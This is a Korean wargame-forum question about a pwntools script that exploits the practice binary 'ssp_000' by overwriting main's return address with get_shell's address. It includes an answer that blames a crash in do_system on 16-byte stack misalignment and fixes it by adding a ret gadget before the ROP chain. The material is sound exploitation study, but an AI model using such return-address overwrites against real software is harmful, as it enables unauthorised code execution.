바로 RET overwrite하면 왜 비정상적으로 종료되는 걸까요?

addr에 rbp+0x8를, value에 get_shell()의 주소를 입력하면
main()함수 스택의 RET가 바로 get_shell()의 주소로 덮여서 실행될거라고 생각했습니다.

근데 예상과 달리 비정상적으로 종료돼서 gdb로 확인해봤습니다.
get_shell까지 rip가 옮겨지는 건 확인했는데 do_system 함수에서 비정상적으로 종료되더라고요.

이렇게 하면 안되는 이유가 궁금합니다.

from pwn import *

p = process('./ssp_000')

pause()
p.sendline(b"d")

p.recvuntil(b"r : ")
p_ret = 0x7fffffffe540 + 0x8
p.sendline(str(p_ret).encode())

p.recvuntil(b"e : ")
shell_addr = 0x4008ea
p.sendline(str(shell_addr).encode())

p.interactive()

image.png
image.png

#pwnable
작성자 정보
답변 1
qwerty_io
대표 업적 없음

xmm연산은 항상 16 bytes로 align되어있어야 합니다.
레지스터 정보가 나오지 않아 확실하지는 않으나 xmm연산이 참조하는 rsp값이 16 bytes로 align이 되어있지 않은 것으로 보입니다. (주소가 0x10으로 나누어 떨어지지 않음)

이럴 때는 stack 오프셋을 맞춰주기 위해 p64(system)대신 p64(ret) + p64(system)으로 rop를 수행하면 됩니다.

2025.02.04. 16:43
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기